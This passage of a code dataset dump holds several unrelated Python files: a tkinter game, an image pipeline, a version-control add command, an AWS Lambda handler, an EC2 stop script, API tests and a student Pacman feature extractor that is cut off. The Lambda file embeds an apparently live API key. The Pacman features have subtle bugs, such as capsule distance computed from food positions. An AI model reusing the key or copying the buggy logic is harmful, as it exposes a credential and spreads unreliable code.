menu=sub_menu)\r\nsub_menu.add_command(label=\"Shape game\", command=clearForGame)\r\nsub_menu.add_command(label=\"Draw Picture\", command=house)\r\nsub_menu.add_command(label=\"Flags\", command=moving)\r\nmenu_bar.configure(bg=\"gray42\")\r\nsub_menu.configure(bg=\"gray70\")\r\n\r\nmenu_bar.add_cascade(label=\"Checkboxes\", menu=sub_menu1)\r\nsub_menu1.add_command(label=\"Rocket Assembly\", command=clearWhole)\r\nsub_menu1.configure(bg=\"gray70\")\r\n\r\n\r\n###FRAME CONTAINING THE CANVAS###\r\nframe1 = Frame(master, bd=10, bg=\"black\", relief=\"ridge\")\r\nframe1.grid(column=2, row=5, padx=15)\r\ncanvas = Canvas(frame1, width=400, height=300)\r\ncanvas.grid(column=2, row=5, sticky=\"n\")\r\n\r\n\r\nscore = Label(master, text=0)\r\nscore.configure(width=20)\r\nscore.grid(column=1, row=4, padx=10)\r\n\r\n\r\n###START BUTTON###\r\nframe2 = Frame(master, bd=10, bg=\"red\", relief=\"raised\")\r\nframe2.grid(column=1, row=5, padx=10)\r\n\r\nstart = Button(frame2, text=\"START\", command=cb2)\r\nstart.grid(column=1, row=4)\r\nstart.configure(height=5, padx=22, width=5, fg=\"black\", bg=\"pink\")\r\n\r\nstartreset = Button(frame2, text=\"RESET\", command=clearForGame)\r\nstartreset.grid(column=2, row=4)\r\nstartreset.configure(height=5)\r\n\r\n\r\ninstructionLabel = Label(frame1, text=\"INSTRUCTIONS \\n Press Start Button \\nClick within 2 secs\\n\\nGOOD LUCK!\")\r\ninstructionLabel.configure(bg=\"gray78\", width=16, height=20)\r\ninstructionLabel.grid(column=6, row=5, padx=2)\r\n\r\n \r\n\r\n\r\n###NAME ENTRY 3 PARTS AT TOP###\r\nnameLabel = Label(master, text=\"Enter name below:\")\r\nnameLabel.configure(width=21)\r\nnameLabel.grid(column=2, row=1 )\r\ndinput = Entry(master)\r\ndinput.grid(column=2, row=2)\r\ndinput.configure(width=24)\r\n\r\nnameButton = Button(master, text=\"SUBMIT NAME\", command=getName)\r\nnameButton.configure(width=20, bg=\"pink\")\r\nnameButton.grid(column=2, row=4)\r\n\r\n\r\n#frame5 holds the colour buttons for squares\r\nframe5 = Frame(master, bd=10, relief=\"raised\") \r\nframe5.grid(column=2,row=8,pady=15)\r\nframe5.grid_remove()\r\n\r\n\r\nframe6 = Frame(master, bd=10, bg=\"gray95\", width=80) \r\nframe6.grid(column=3,row=10,pady=30,padx=100)\r\nframe6.grid_remove()\r\n \r\n###CHECKBOXES###\r\nboostersvar = IntVar()\r\nboosters = Checkbutton(frame6, text=\"Booster Rockets\",variable=boostersvar).grid(row=2, sticky=W)\r\nfuelvar = IntVar()\r\nfuel = Checkbutton(frame6, text=\"Backup Engine\", variable=fuelvar).grid(row=3, sticky=W)\r\nextravar = IntVar()\r\nextrafuel = Checkbutton(frame6, text=\"Extra Fuel\", variable=extravar).grid(row=4, sticky=W)\r\ncommandvar = IntVar()\r\ncommand = Checkbutton(frame6, text=\"Command Module\", variable=commandvar).grid(row=5, sticky=W)\r\nlandingvar = IntVar()\r\nlanding = Checkbutton(frame6, text=\"Lunar Module\", variable=landingvar).grid(row=6, sticky=W)\r\nrovervar = IntVar()\r\nrover = Checkbutton(frame6, text=\"Lunar Rover\", variable=rovervar).grid(row=7, sticky=W)\r\nsubmitorder = Button(frame6, text=\"Launch\", command=getToppings) \r\nsubmitorder.grid(column=2,row=8) \r\nresetrocket = Button(frame6, text=\"Reset\", command=resetCheckboxes) \r\nresetrocket.grid(column=1,row=8) \r\n\r\npercentageLabel = Label(frame6, text=0)\r\npercentageLabel.grid(column=1, row=10)\r\n\r\nmaster.mainloop()\r\n\r\n","sub_path":"ODwyer-Thomas2.py","file_name":"ODwyer-Thomas2.py","file_ext":"py","file_size_in_byte":19755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"639109117","text":"import sys, traceback\nimport cv2\nimport os\nimport re\nimport numpy as np\nimport argparse\nimport string\nfrom plantcv import plantcv as pcv\n\n# Parse command-line arguments\n\n# Main pipeline\ndef main(path,imagename):\n\targs = {'names':'names.txt', \n\t\t\t'outdir':'./output-images'}\n\t#Read image\n\timg, path, filename = pcv.readimage(path+imagename,\"native\")\n\timg1=cv2.resize(img,(2000,4000))\n\t#pcv.params.debug=args['debug']\n\t#img1 = pcv.white_balance(img,roi=(400,800,200,200))\n\tshift1 = pcv.shift_img(img1, 10, 'top')\n\timg1 = shift1\n\ta = pcv.rgb2gray_lab(img1, 'a')\n\timg_binary = pcv.threshold.binary(a, 120, 255, 'dark')\n\tfill_image = pcv.fill(img_binary, 10)\n\tdilated = pcv.dilate(fill_image, 1, 1)\n\tid_objects, obj_hierarchy = pcv.find_objects(img1, dilated)\n\troi_contour, roi_hierarchy = pcv.roi.rectangle(4000, 2000, -2000, -4000 , img1)\n\troi_objects, roi_obj_hierarchy, kept_mask, obj_area = pcv.roi_objects(img1, 'partial', roi_contour, roi_hierarchy,\n\t\t\t id_objects, obj_hierarchy)\n\tclusters_i, contours, hierarchies = pcv.cluster_contours(img1, roi_objects, roi_obj_hierarchy, 1,1)\n\tpcv.params.debug = \"print\"\n\tout = args['outdir']\n\tnames = args['names']\n\toutput_path = pcv.cluster_contour_splitimg(img1, clusters_i, contours, hierarchies, out, file=filename, filenames=names)\nif __name__ == '__main__':\n\tmain()\n","sub_path":"weedpotato.py","file_name":"weedpotato.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"395529122","text":"import os\nimport sys\nimport json\nimport hashlib\nimport global_config\nimport datetime\nimport string\nimport shutil\nimport status\nimport errno\n\ndef handle_options_add(cmd_parser):\n cmd_parser.add_argument('-v', '--version',\n help=\"version\",\n action=\"store_true\")\n\n cmd_parser.add_argument('-d', '--dir_path',\n dest='dir_path',\n nargs='+',\n help=\"directories or files for adding to staging area\")\n\n cmd_parser.set_defaults(func=add)\n\ndef copy_to_staged_file(file_path, branch_path):\n \n staged_file = os.path.join(branch_path, global_config.STAGE_DIR, file_path)\n try:\n shutil.copy2(file_path, staged_file)\n\n except IOError as e:\n if e.errno != errno.ENOENT:\n raise\n \n os.makedirs(os.path.dirname(staged_file))\n shutil.copy2(file_path, staged_file)\n\ndef add(args):\n\n if not global_config.check_dlv_exists():\n print(\"No dlv repository exists\")\n sys.exit(0)\n\n if args.dir_path == None:\n print(\"Please enter the directory path\")\n sys.exit(0)\n\n current_branch = global_config.get_current_branch()\n branch_path = os.path.join(global_config.root_dir, global_config.DLV_DIR, current_branch)\n\n for dir_path in args.dir_path:\n\n # Check if the dir or file exists or not\n if os.path.isfile(dir_path):\n copy_to_staged_file(dir_path, branch_path)\n \n # walk over each file in the dir\n for folder, subfolders, files in os.walk(str(dir_path)):\n\n if global_config.DLV_DIR in folder:\n continue\n \n for f in files:\n file_path = os.path.join(folder, f)\n if not status.get_status(file_path) == \"Tracked Files\":\n copy_to_staged_file(file_path, branch_path)\n\n","sub_path":"dlv_commands/lib/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"87501288","text":"import os\nimport sys\nfile_dir = os.path.dirname(__file__)\nsys.path.append(file_dir)\n\nimport json\nimport traceback as tb\nfrom service import service_user as service_u \n\ndef handle(event, context):\n try:\n\n body = json.loads(event.get('body'))\n print('body', body)\n \n resp = service_u.serviceUserRegister(body)\n\n if resp[\"statusCode\"] == 200:\n return dict(statusCode = 200, body = json.dumps({\n \"status\": \"COMPLETED\",\n \"data\": resp[\"body\"]\n }))\n else:\n print(resp)\n raise Exception(resp[\"body\"])\n\n except Exception as e:\n #tb.print_exc(e)\n print(\"error\", e)\n if \"FAILED\" in str(e):\n er = json.loads(str(e))\n return dict(statusCode = 500, body = json.dumps({\n \"status\": \"FAILED\",\n \"message\": er[\"message\"]\n }))\n \n \n return dict(statusCode = 500, body = json.dumps({\n \"status\": \"FAILED\",\n \"message\": \"Un error ha ocurrido\"\n }))\n\nif __name__ == \"__main__\":\n payload = json.dumps({\n \"traza_web\": \"\",\n \"email\": \"prueba4@gmail.com\",\n \"password\": \"123456789\",\n \"remote_ip\": \"\",\n \"serverAddr\": \"\",\n \"userAgent\": \"\",\n \"requestMethod\":\"\",\n \"scriptUri\": \"\",\n \"serverSession\": \"\",\n \"session\":\"\"\n })\n headers = {\n 'x-api-key': '6lLxq76Efr4Fm37m42ply87S3Qettsee9oXQiLZx',\n 'Content-Type': 'application/json'\n }\n print(handle({'body': payload}, ''))\n","sub_path":"src/userRegisterFunction/lambda.py","file_name":"lambda.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"473345952","text":"import boto3\nimport time\naws_con=boto3.session.Session(profile_name=\"root\")\nec2_con_re=aws_con.resource(service_name=\"ec2\",region_name=\"us-east-2\")\nec2_con_cli=aws_con.client(service_name=\"ec2\",region_name=\"us-east-2\")\nmy_inst_obj=ec2_con_re.Instance(\"i-08f0f706b4bd5acf6\")\nprint(\"stoping the instances\")\nmy_inst_obj.stop()\nwhile True:\n\tmy_inst_obj=ec2_con_re.Instance(\"i-08f0f706b4bd5acf6\")\n\tprint(\"The instance state is ..\",my_inst_obj.state['Name'])\n\tif my_inst_obj.state['Name']==\"stopped\":\n\t\tbreak\n\ttime.sleep(5)\nprint(\"the state of the instance is \",my_inst_obj.state['Name'])\t","sub_path":"Notes/Udemy/Boto3-refresh/Session-5-waiters/ex-waiters-stop.py","file_name":"ex-waiters-stop.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"272732049","text":"import pytest\n\nfrom admin.governance.dids import get_trusted_registry, get_trusted_partner\nfrom acapy_ledger_facade import create_pub_did\n\nAPPLICATION_JSON_CONTENT_TYPE = {\"content-type\": \"application/json\"}\nBASE_PATH = \"/admin/governance/dids\"\n\n\n@pytest.mark.asyncio\nasync def test_get_trusted_registry(async_client, yoma_agent_mock):\n\n response = await async_client.get(\n BASE_PATH + \"/trusted-registry\",\n headers={\"x-api-key\": \"adminApiKey\", **APPLICATION_JSON_CONTENT_TYPE},\n )\n assert response.status_code == 200\n result = response.json()\n expected_keys = [\"did\", \"posture\", \"verkey\"]\n assert [list(res.keys()) == expected_keys for res in result]\n assert len(result) == 1\n\n res_method = await get_trusted_registry(aries_controller=yoma_agent_mock)\n assert res_method == result\n\n\n@pytest.mark.asyncio\nasync def test_get_trusted_partner(async_client, yoma_agent_mock):\n\n # Create a public did\n did_response = await async_client.get(\n \"/wallets/create-pub-did\",\n headers={\"x-api-key\": \"adminApiKey\", **APPLICATION_JSON_CONTENT_TYPE},\n )\n res_json = did_response.json()\n did_created = res_json[\"did_object\"][\"did\"]\n\n # try retrieve the created did from the ledger\n response = await async_client.get(\n BASE_PATH + f\"/trusted-registry/{did_created}\",\n headers={\"x-api-key\": \"adminApiKey\", **APPLICATION_JSON_CONTENT_TYPE},\n )\n\n # check the did is public and on the ledger\n assert response.status_code == 200\n result = response.json()\n expected_keys = [\"did\", \"endpoint\"]\n assert list(result.keys()) == expected_keys\n assert result[\"endpoint\"] != \"\"\n assert result[\"did\"] == did_created\n\n res_method = await get_trusted_partner(\n partner_did=f\"{did_created}\", aries_controller=yoma_agent_mock\n )\n assert res_method == result\n","sub_path":"app/tests/admin/governance/dids/test_dids.py","file_name":"test_dids.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"148468428","text":"import json\nfrom json import JSONDecodeError\n\n\ndef main():\n\n # define a dictionary\n data = {\n \"sandwich\": \"Reuben\",\n \"toasted\": True,\n \"toppings\": [\n \"Thousand Island Dressing\",\n \"Sauerkraut\",\n \"Pickels\"\n ],\n \"price\": 8.99\n }\n\n try:\n\n # serialize json using dumps\n jsonString = json.dumps(data, indent=4)\n\n # print data\n print(jsonString)\n\n except JSONDecodeError as error:\n\n print(error.colno)\n print(error.msg)\n\n\nmain()\n","sub_path":"json_serialize.py","file_name":"json_serialize.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"189470235","text":"\"\"\"data_classifier.py\n\nAuthor: Albert Sebastian & Kevin Blum\nClass: CSI-490-01\nAssignment: Supervised Learning\nDate Assigned: 11/12/17\nDue Date: 11:59 pm 11/27/17\n \nDescription:\nThe code for question seven, creates the enhanced features for pacman\n \nCertification of Authenticity: \nI certify that this is entirely my own work, except where I have been provided\ncode by the instructor, or given fully-documented references to the work of \nothers. I understand the definition and consequences of plagiarism and \nacknowledge that the assessor of this assignment may, for the purpose of \nassessing this assignment:\n Reproduce this assignment and provide a copy to another member of academic\n staff; and/or Communicate a copy of this assignment to a plagiarism checking\n service (which may then retain a copy of this assignment on its database for \n the purpose of future plagiarism checking)\n\nThis code has been adapted from that provided by Prof. Joshua Auerbach:\n\nChamplain College CSI-480, Fall 2017\nThe following code was adapted by Joshua Auerbach (jauerbach@champlain.edu)\nfrom the UC Berkeley Pacman Projects (see license and attribution below).\n\n----------------------\nLicensing Information: You are free to use or extend these projects for\neducational purposes provided that (1) you do not distribute or publish\nsolutions, (2) you retain this notice, and (3) you provide clear\nattribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n\nAttribution Information: The Pacman AI projects were developed at UC Berkeley.\nThe core projects and autograders were primarily created by John DeNero\n(denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\nStudent side autograding was added by Brad Miller, Nick Hay, and\nPieter Abbeel (pabbeel@cs.berkeley.edu).\n\nThis file contains feature extraction methods and harness\ncode for data classification\n\nChamplain College CSI-480, Fall 2017\nThe following code was adapted by Joshua Auerbach (jauerbach@champlain.edu)\nfrom the UC Berkeley Pacman Projects (see license and attribution below).\n\n----------------------\nLicensing Information: You are free to use or extend these projects for\neducational purposes provided that (1) you do not distribute or publish\nsolutions, (2) you retain this notice, and (3) you provide clear\nattribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n\nAttribution Information: The Pacman AI projects were developed at UC Berkeley.\nThe core projects and autograders were primarily created by John DeNero\n(denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\nStudent side autograding was added by Brad Miller, Nick Hay, and\nPieter Abbeel (pabbeel@cs.berkeley.edu).\n\"\"\"\n\nimport most_frequent\nimport naive_bayes\nimport perceptron\nimport perceptron_pacman\nimport perceptron_numpy\nimport samples\nimport sys\nimport util\nfrom pacman import GameState\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport logistic\nfrom util import manhattan_distance\n\nTEST_SET_SIZE = 100\nDIGIT_DATUM_WIDTH=28\nDIGIT_DATUM_HEIGHT=28\nFACE_DATUM_WIDTH=60\nFACE_DATUM_HEIGHT=70\n\n\ndef basic_feature_extractor_digit(datum):\n \"\"\"\n Returns a set of pixel features indicating whether\n each pixel in the provided datum is white (0) or gray/black (1)\n \"\"\"\n a = datum.get_pixels()\n\n features = util.Counter()\n for x in range(DIGIT_DATUM_WIDTH):\n for y in range(DIGIT_DATUM_HEIGHT):\n if datum.get_pixel(x, y) > 0:\n features[(x,y)] = 1\n else:\n features[(x,y)] = 0\n return features\n\ndef basic_feature_extractor_face(datum):\n \"\"\"\n Returns a set of pixel features indicating whether\n each pixel in the provided datum is an edge (1) or no edge (0)\n \"\"\"\n a = datum.get_pixels()\n\n features = util.Counter()\n for x in range(FACE_DATUM_WIDTH):\n for y in range(FACE_DATUM_HEIGHT):\n if datum.get_pixel(x, y) > 0:\n features[(x,y)] = 1\n else:\n features[(x,y)] = 0\n return features\n\ndef enhanced_feature_extractor_digit(datum):\n \"\"\"\n Your feature extraction playground.\n\n You should return a util.Counter() of features\n for this datum (datum is of type samples.Datum).\n\n ## DESCRIBE YOUR ENHANCED FEATURES HERE...\n\n ##\n \"\"\"\n features = basic_feature_extractor_digit(datum)\n\n \"*** YOUR CODE HERE ***\"\n \n\n\n\ndef basic_feature_extractor_pacman(state):\n \"\"\"\n A basic feature extraction function.\n\n You should return a util.Counter() of features\n for each (state, action) pair along with a list of the legal actions\n\n ##\n \"\"\"\n features = util.Counter()\n for action in state.get_legal_actions():\n successor = state.generate_successor(0, action)\n food_count = successor.get_food().count()\n feature_counter = util.Counter()\n feature_counter['food_count'] = food_count\n features[action] = feature_counter\n return features, state.get_legal_actions()\n\ndef enhanced_feature_extractor_pacman(state):\n \"\"\"\n Your feature extraction playground.\n\n You should return a util.Counter() of features\n for each (state, action) pair along with a list of the legal actions\n\n ##\n \"\"\"\n\n features = basic_feature_extractor_pacman(state)[0]\n for action in state.get_legal_actions():\n features[action] = util.Counter(features[action], **enhanced_pacman_features(state, action))\n return features, state.get_legal_actions()\n\ndef enhanced_pacman_features(state, action):\n \"\"\"\n For each state, this function is called with each legal action.\n It should return a counter with { <feature name> : <feature value>, ... }\n \"\"\"\n features = util.Counter()\n \"*** YOUR CODE HERE ***\"\n \"\"\"\n Initialize values for the the current state which is referred to as the\n old state and the new state is referred to as state, becaus it is used for the majority\n of features, and the location of pacman and the food in the successor state\n \"\"\"\n old_state = state\n state = state.generate_pacman_successor(action)\n pacman_location = state.get_pacman_position()\n new_food = state.get_num_food()\n \n \"\"\"\n Format for extracting each feature\n get state of each feature, capsule location, food location, ghost location, ghost scraed state\n set the distance to the nearest of each features to zero\n if in the next state there are values of each feature list then\n calculate the closest distance to each feature value as the minimum \n manhattan distance from the location of pacman to the location of the feature\n then each features is calculated as either the reciprocal of the value if it \n exists or it is set to zero\n \"\"\"\n food_locations = state.get_food().as_list()\n nearest_food_dist = 0\n if food_locations:\n nearest_food_dist = min([manhattan_distance(pacman_location, food) for food in food_locations])\n nearest_food_dist = 1.0/nearest_food_dist if nearest_food_dist else nearest_food_dist\n \n capsule_locations = state.get_food().as_list()\n nearest_capulses_dist = 0\n if capsule_locations:\n nearest_capulses_dist = min([manhattan_distance(pacman_location, capsules) for capsules in capsule_locations])\n nearest_capulses_dist = 1.0/nearest_capulses_dist if nearest_capulses_dist else nearest_capulses_dist\n \n old_ghost_locations = old_state.get_ghost_positions()\n old_nearest_ghost_dist = 0\n if old_ghost_locations:\n old_nearest_ghost_dist = min(manhattan_distance(pacman_location, location) for location in old_ghost_locations)\n old_nearest_ghost_dist = 1.0/old_nearest_ghost_dist if old_nearest_ghost_dist else old_nearest_ghost_dist\n \n ghost_locations = state.get_ghost_positions()\n nearest_ghost_dist = 0\n if ghost_locations:\n nearest_ghost_dist = min(manhattan_distance(pacman_location, location) for location in ghost_locations)\n nearest_ghost_dist = 1.0/nearest_ghost_dist if nearest_ghost_dist else nearest_ghost_dist\n \n new_ghost_states = state.get_ghost_states()\n new_scared_times = [ghost_state.scared_timer for ghost_state in new_ghost_states]\n nearest_scared_ghost_dist = 0\n if new_scared_times:\n scared_ghost_locs = state.get_ghost_positions()\n if scared_ghost_locs:\n nearest_scared_ghost_dist = min(manhattan_distance(pacman_location, location) for location in scared_ghost_locs)\n nearest_scared_ghost_dist = 1.0/nearest_scared_ghost_dist if nearest_scared_ghost_dist else nearest_scared_ghost_dist\n \n \"\"\"\n set all of the features in the feature vector which is just the\n value of each feature except for the calculation of the difference of the distance between\n the current closest ghost and the closest ghost which must verify that both those values \n \"\"\"\n features['new_num_food'] = new_food\n features['nearest_capulses_dist'] = nearest_capulses_dist\n features['nearest_food_dist'] = nearest_food_dist\n features['nearest_ghost_dist'] = nearest_ghost_dist\n features['old_nearest_ghost_dist'] = old_nearest_ghost_dist\n features['nearest_scared_ghost_dist'] = nearest_ghost_dist\n if nearest_ghost_dist and old_nearest_ghost_dist:\n features[\"closest_ghost_dist_difference\"] = old_nearest_ghost_dist - nearest_ghost_dist\n \n return features\n util.raise_not_defined()\n\n\ndef contest_feature_extractor_digit(datum):\n \"\"\"\n Specify features to use for the minicontest\n \"\"\"\n features = basic_feature_extractor_digit(datum)\n return features\n\ndef enhanced_feature_extractor_face(datum):\n \"\"\"\n Your feature extraction playground for faces.\n It is your choice to modify this.\n \"\"\"\n features = basic_feature_extractor_face(datum)\n return features\n\ndef analysis(classifier, guesses, test_labels, test_data, raw_test_data, print_image):\n \"\"\"\n This function is called after learning.\n Include any code that you want here to help you analyze your results.\n\n Use the print_image(<list of pixels>) function to visualize features.\n\n An example of use has been given to you.\n\n - classifier is the trained classifier\n - guesses is the list of labels predicted by your classifier on the test set\n - test_labels is the list of true labels\n - test_data is the list of training datapoints (as util.Counter of features)\n - raw_test_data is the list of training datapoints (as samples.Datum)\n - print_image is a method to visualize the features\n (see its use in the odds ratio part in run_classifier method)\n\n This code won't be evaluated. It is for your own optional use\n (and you can modify the signature if you want).\n \"\"\"\n\n # Put any code here...\n # Example of use:\n # for i in range(len(guesses)):\n # prediction = guesses[i]\n # truth = test_labels[i]\n # if (prediction != truth):\n # print \"===================================\"\n # print \"Mistake on example %d\" % i\n # print \"Predicted %d; truth is %d\" % (prediction, truth)\n # print \"Image: \"\n # print raw_test_data[i]\n # break\n\n\n## =====================\n## You don't have to modify any code below.\n## =====================\n\n\nclass ImagePrinter:\n def __init__(self, width, height):\n self.width = width\n self.height = height\n\n def print_image(self, pixels, ax=None):\n \"\"\"\n Prints a Datum object that contains all pixels in the\n provided list of pixels. This will serve as a helper function\n to the analysis function you write.\n\n Pixels should take the form\n [(2,2), (2, 3), ...]\n where each tuple represents a pixel.\n \"\"\"\n image = samples.Datum(None,self.width,self.height)\n for pix in pixels:\n try:\n # This is so that new features that you could define which\n # which are not of the form of (x,y) will not break\n # this image printer...\n x,y = pix\n image.pixels[x][y] = 2\n except:\n print(\"new features:\", pix)\n continue\n \n if ax: \n pixels = np.asarray(np.asarray(image.pixels).T)\n im = np.zeros((pixels.shape[0], pixels.shape[1],3))\n im[pixels>=1] = [0,1,0]\n im[pixels<1] = [0,0,0]\n ax.imshow(im, interpolation='nearest')\n else :\n print(image)\n\ndef default(str):\n return str + ' [Default: %default]'\n\nUSAGE_STRING = \"\"\"\n USAGE: python data_classifier.py <options>\n EXAMPLES: (1) python data_classifier.py\n - trains the default most_frequent classifier on the digit dataset\n using the default 100 training examples and\n then test the classifier on test data\n (2) python data_classifier.py -c naive_bayes -d digits -t 1000 -f -o -1 3 -2 6 -k 2.5\n - would run the naive Bayes classifier on 1000 training examples\n using the enhanced_feature_extractor_digits function to get the features\n on the faces dataset, would use the smoothing parameter equals to 2.5, would\n test the classifier on the test data and performs an odd ratio analysis\n with label1=3 vs. label2=6\n \"\"\"\n\ndef learning_rate_callback(option, opt, value, parser):\n setattr(parser.values, option.dest, [float(s) for s in value.split(',')])\n\n\ndef read_command( argv ):\n \"Processes the command used to run from the command line.\"\n from optparse import OptionParser\n parser = OptionParser(USAGE_STRING)\n\n parser.add_option('-c', '--classifier', help=default('The type of classifier'), choices=['most_frequent', 'nb', 'naive_bayes', 'perceptron', 'perceptron_numpy', 'logistic', 'minicontest'], default='most_frequent')\n parser.add_option('-d', '--data', help=default('Dataset to use'), choices=['digits', 'faces', 'pacman'], default='digits')\n parser.add_option('-t', '--training', help=default('The size of the training set'), default=100, type=\"int\")\n parser.add_option('-f', '--features', help=default('Whether to use enhanced features'), default=False, action=\"store_true\")\n parser.add_option('-o', '--odds', help=default('Whether to compute odds ratios'), default=False, action=\"store_true\")\n parser.add_option('-1', '--label1', help=default(\"First label in an odds ratio comparison\"), default=0, type=\"int\")\n parser.add_option('-2', '--label2', help=default(\"Second label in an odds ratio comparison\"), default=1, type=\"int\")\n parser.add_option('-w', '--weights', help=default('Whether to print weights'), default=False, action=\"store_true\")\n parser.add_option('-n', '--num_weights', help=default(\"Num Weights to Print (when --weights enabled), default: 100\"), default=100, type=\"int\")\n parser.add_option('-k', '--smoothing', help=default(\"Smoothing parameter (ignored when using --autotune)\"), type=\"float\", default=2.0)\n parser.add_option('-a', '--autotune', help=default(\"Whether to automatically tune hyperparameters\"), default=False, action=\"store_true\")\n parser.add_option('-i', '--iterations', help=default(\"Maximum iterations to run training\"), default=3, type=\"int\")\n parser.add_option('-s', '--test', help=default(\"Amount of test data to use\"), default=TEST_SET_SIZE, type=\"int\")\n parser.add_option('-g', '--agent_to_clone', help=default(\"Pacman agent to copy\"), default=None, type=\"str\")\n parser.add_option('-l', '--learning_rates', help=default(\"Learning rates to use for gradient descent, can be a comma separated list or single value\"), \n default=[0.2], type=\"str\", action='callback', callback=learning_rate_callback)\n\n\n options, otherjunk = parser.parse_args(argv)\n if len(otherjunk) != 0: raise Exception('Command line input not understood: ' + str(otherjunk))\n args = {}\n\n # Set up variables according to the command line input.\n print(\"Doing classification\")\n print(\"--------------------\")\n print(\"data:\\t\\t\" + options.data)\n print(\"classifier:\\t\\t\" + options.classifier)\n if not options.classifier == 'minicontest':\n print(\"using enhanced features?:\\t\" + str(options.features))\n else:\n print(\"using minicontest feature extractor\")\n print(\"training set size:\\t\" + str(options.training))\n if(options.data==\"digits\"):\n print_image = ImagePrinter(DIGIT_DATUM_WIDTH, DIGIT_DATUM_HEIGHT).print_image\n if (options.features):\n feature_function = enhanced_feature_extractor_digit\n else:\n feature_function = basic_feature_extractor_digit\n if (options.classifier == 'minicontest'):\n feature_function = contest_feature_extractor_digit\n elif(options.data==\"faces\"):\n print_image = ImagePrinter(FACE_DATUM_WIDTH, FACE_DATUM_HEIGHT).print_image\n if (options.features):\n feature_function = enhanced_feature_extractor_face\n else:\n feature_function = basic_feature_extractor_face\n elif(options.data==\"pacman\"):\n print_image = None\n if (options.features):\n feature_function = enhanced_feature_extractor_pacman\n else:\n feature_function = basic_feature_extractor_pacman\n else:\n print(\"Unknown dataset\", options.data)\n print(USAGE_STRING)\n sys.exit(2)\n\n if(options.data==\"digits\"):\n legal_labels = list(range(10))\n else:\n legal_labels = ['Stop', 'West', 'East', 'North', 'South']\n\n if options.training <= 0:\n print(\"Training set size should be a positive integer (you provided: %d)\" % options.training)\n print(USAGE_STRING)\n sys.exit(2)\n\n if options.smoothing <= 0:\n print(\"Please provide a positive number for smoothing (you provided: %f)\" % options.smoothing)\n print(USAGE_STRING)\n sys.exit(2)\n\n if options.odds:\n if options.label1 not in legal_labels or options.label2 not in legal_labels:\n print(\"Didn't provide a legal labels for the odds ratio: (%d,%d)\" % (options.label1, options.label2))\n print(USAGE_STRING)\n sys.exit(2)\n\n if(options.classifier == \"most_frequent\"):\n classifier = most_frequent.MostFrequentClassifier(legal_labels)\n elif(options.classifier == \"naive_bayes\" or options.classifier == \"nb\"):\n classifier = naive_bayes.NaiveBayesClassifier(legal_labels)\n classifier.set_smoothing(options.smoothing)\n if (options.autotune):\n print(\"using automatic tuning for naivebayes\")\n classifier.automatic_tuning = True\n else:\n print(\"using smoothing parameter k=%f for naivebayes\" % options.smoothing)\n elif(options.classifier == \"perceptron\"):\n if options.data != 'pacman':\n classifier = perceptron.PerceptronClassifier(legal_labels,options.iterations)\n else:\n classifier = perceptron_pacman.PerceptronClassifierPacman(legal_labels,options.iterations)\n elif(options.classifier == \"perceptron_numpy\"):\n if options.data != 'pacman':\n classifier = perceptron_numpy.OptimizedPerceptronClassifier(legal_labels,options.iterations)\n elif(options.classifier == \"logistic\"):\n if options.data != 'pacman':\n classifier = logistic.SoftmaxClassifier(legal_labels,options.iterations)\n classifier.learning_rates = options.learning_rates\n\n elif(options.classifier == 'minicontest'):\n import minicontest\n classifier = minicontest.contest_classifier(legal_labels)\n else:\n print(\"Unknown classifier:\", options.classifier)\n print(USAGE_STRING)\n\n sys.exit(2)\n\n args['agent_to_clone'] = options.agent_to_clone\n\n args['classifier'] = classifier\n args['feature_function'] = feature_function\n args['print_image'] = print_image\n\n return args, options\n\n# Dictionary containing full path to .pkl file that contains the agent's training, validation, and testing data.\nMAP_AGENT_TO_PATH_OF_SAVED_GAMES = {\n 'FoodAgent': ('pacmandata/food_training.pkl','pacmandata/food_validation.pkl','pacmandata/food_test.pkl' ),\n 'StopAgent': ('pacmandata/stop_training.pkl','pacmandata/stop_validation.pkl','pacmandata/stop_test.pkl' ),\n 'SuicideAgent': ('pacmandata/suicide_training.pkl','pacmandata/suicide_validation.pkl','pacmandata/suicide_test.pkl' ),\n 'GoodReflexAgent': ('pacmandata/good_reflex_training.pkl','pacmandata/good_reflex_validation.pkl','pacmandata/good_reflex_test.pkl' ),\n 'ContestAgent': ('pacmandata/contest_training.pkl','pacmandata/contest_validation.pkl', 'pacmandata/contest_test.pkl' )\n}\n# Main harness code\n\n\n\ndef run_classifier(args, options):\n feature_function = args['feature_function']\n classifier = args['classifier']\n print_image = args['print_image']\n \n # Load data\n num_training = options.training\n num_test = options.test\n\n if(options.data==\"pacman\"):\n agent_to_clone = args.get('agent_to_clone', None)\n training_data, validation_data, test_data = MAP_AGENT_TO_PATH_OF_SAVED_GAMES.get(agent_to_clone, (None, None, None))\n training_data = training_data or args.get('training_data', False) or MAP_AGENT_TO_PATH_OF_SAVED_GAMES['ContestAgent'][0]\n validation_data = validation_data or args.get('validation_data', False) or MAP_AGENT_TO_PATH_OF_SAVED_GAMES['ContestAgent'][1]\n test_data = test_data or MAP_AGENT_TO_PATH_OF_SAVED_GAMES['ContestAgent'][2]\n raw_training_data, training_labels = samples.load_pacman_data(training_data, num_training)\n raw_validation_data, validation_labels = samples.load_pacman_data(validation_data, num_test)\n raw_test_data, test_labels = samples.load_pacman_data(test_data, num_test)\n else:\n raw_training_data = samples.load_data_file(\"digitdata/trainingimages\", num_training,DIGIT_DATUM_WIDTH,DIGIT_DATUM_HEIGHT)\n training_labels = 